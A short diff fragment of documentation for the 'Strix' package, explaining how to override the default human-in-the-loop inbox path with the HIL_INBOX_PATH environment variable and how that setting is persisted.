Configuration + +```bash +# Override the default inbox location +export HIL_INBOX_PATH="/path/to/custom/inbox" +``` + +The default inbox is `strix/hil/inbox/` relative to the package. The `HIL_INBOX_PATH` variable is tracked by the Strix Config system and can be persisted via `~/.strix/cli-config.json`. + +--- + ## Usage Examples ### Basic Usage